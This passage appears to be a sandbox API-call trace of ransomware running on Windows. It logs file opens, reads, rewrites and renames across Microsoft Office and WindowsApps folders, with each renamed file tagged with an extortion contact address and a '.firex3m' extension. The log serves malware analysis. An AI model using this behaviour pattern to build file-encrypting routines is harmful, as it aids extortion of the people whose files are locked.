ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AFTRNO~1.FIR")) returned 0x6d5200 [0265.108] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0265.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0265.108] GetProcessHeap () returned 0x630000 [0265.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665a50 [0265.108] GetProcessHeap () returned 0x630000 [0265.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6657e8 [0265.109] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.109] ReadFile (in: hFile=0x698, lpBuffer=0x665a50, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a50*, lpNumberOfBytesRead=0x673ff0c*=0x220, lpOverlapped=0x0) returned 1 [0265.112] GetProcessHeap () returned 0x630000 [0265.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0265.112] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.112] WriteFile (in: hFile=0x698, lpBuffer=0x6657e8*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6657e8*, lpNumberOfBytesWritten=0x673ff0c*=0x220, lpOverlapped=0x0) returned 1 [0265.112] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.112] WriteFile (in: hFile=0x698, lpBuffer=0x665a07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a07*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.113] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.113] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.113] CloseHandle (hObject=0x698) returned 1 [0265.113] GetProcessHeap () returned 0x630000 [0265.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6657e8 | out: hHeap=0x630000) returned 1 [0265.113] GetProcessHeap () returned 0x630000 [0265.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a50 | out: hHeap=0x630000) returned 1 [0265.113] GetProcessHeap () returned 0x630000 [0265.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0265.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a24739, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a24739, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63f80f80, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x673fd20, dwReserved1=0x665a50, cFileName="AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AFTRNO~1.FIR")) returned 0x6d51c0 [0265.113] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.113] Sleep (dwMilliseconds=0x1) [0265.128] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", len=0x64 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 1 [0265.128] GetProcessHeap () returned 0x630000 [0265.128] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf0) returned 0x6fe3bb0 [0265.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0265.129] CloseHandle (hObject=0x4e8) returned 1 [0265.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_en.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8d02b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~3.FIR")) returned 0x6d5400 [0265.130] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0265.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_en.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0265.130] GetProcessHeap () returned 0x630000 [0265.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0265.130] GetProcessHeap () returned 0x630000 [0265.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0265.130] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.130] ReadFile (in: hFile=0x4e8, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.165] GetProcessHeap () returned 0x630000 [0273.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0273.165] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.165] WriteFile (in: hFile=0x4e8, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.166] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.166] WriteFile (in: hFile=0x4e8, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.168] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.168] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.168] CloseHandle (hObject=0x4e8) returned 1 [0273.168] GetProcessHeap () returned 0x630000 [0273.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0273.168] GetProcessHeap () returned 0x630000 [0273.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0273.168] GetProcessHeap () returned 0x630000 [0273.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0273.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8d02b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c3c0c8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c69f, dwReserved0=0x95c7496, dwReserved1=0x72de940, cFileName="MSWDS_EN.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSWDS_~3.FIR")) returned 0x6d5540 [0273.169] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0273.169] Sleep (dwMilliseconds=0x1) [0273.187] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png", len=0x7f | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png") returned 1 [0273.187] GetProcessHeap () returned 0x630000 [0273.187] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0273.187] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton-rollover.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton-rollover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.188] Sleep (dwMilliseconds=0x1) [0273.200] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css", len=0x6d | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css") returned 1 [0273.201] GetProcessHeap () returned 0x630000 [0273.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0273.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_ltr.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_ltr.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.203] Sleep (dwMilliseconds=0x1) [0273.217] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd", len=0x6c | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd") returned 1 [0273.217] GetProcessHeap () returned 0x630000 [0273.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0273.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.skuinterop.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.218] Sleep (dwMilliseconds=0x1) [0273.232] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\doc_offline_getconnected.xml", len=0x82 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\doc_offline_getconnected.xml") returned 1 [0273.232] GetProcessHeap () returned 0x630000 [0273.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0273.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-us\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.233] Sleep (dwMilliseconds=0x1) [0273.251] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-black.png", len=0x86 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-black.png") returned 1 [0273.251] GetProcessHeap () returned 0x630000 [0273.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e04) returned 0x6fe3bb0 [0273.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.254] Sleep (dwMilliseconds=0x1) [0273.262] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-black.png") returned 1 [0273.262] GetProcessHeap () returned 0x630000 [0273.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dfc) returned 0x6fe3bb0 [0273.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.264] Sleep (dwMilliseconds=0x1) [0273.280] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated.png", len=0x88 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated.png") returned 1 [0273.280] GetProcessHeap () returned 0x630000 [0273.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de0) returned 0x6fe3bb0 [0273.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.280] Sleep (dwMilliseconds=0x1) [0273.300] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-white.png", len=0x86 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-white.png") returned 1 [0273.300] GetProcessHeap () returned 0x630000 [0273.300] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd8) returned 0x6fe3bb0 [0273.300] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.302] Sleep (dwMilliseconds=0x1) [0273.314] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60.png", len=0x77 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60.png") returned 1 [0273.314] GetProcessHeap () returned 0x630000 [0273.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc4) returned 0x6fe3bb0 [0273.314] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.316] Sleep (dwMilliseconds=0x1) [0273.327] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-black.png") returned 1 [0273.328] GetProcessHeap () returned 0x630000 [0273.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db4) returned 0x6fe3bb0 [0273.328] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.329] Sleep (dwMilliseconds=0x1) [0275.316] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-150.png", len=0x95 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-150.png") returned 1 [0275.317] GetProcessHeap () returned 0x630000 [0275.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b34) returned 0x6fe3bb0 [0275.317] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.319] Sleep (dwMilliseconds=0x1) [0275.323] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\SmallLogo.scale-150.png", len=0x82 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\SmallLogo.scale-150.png") returned 1 [0275.323] GetProcessHeap () returned 0x630000 [0275.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b28) returned 0x6fe3bb0 [0275.323] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\SmallLogo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\smalllogo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.325] Sleep (dwMilliseconds=0x1) [0275.342] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF", len=0x41 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF") returned 1 [0275.342] GetProcessHeap () returned 0x630000 [0275.342] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4afc) returned 0x6fe3bb0 [0275.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rage.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0275.351] CloseHandle (hObject=0x674) returned 1 [0275.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, 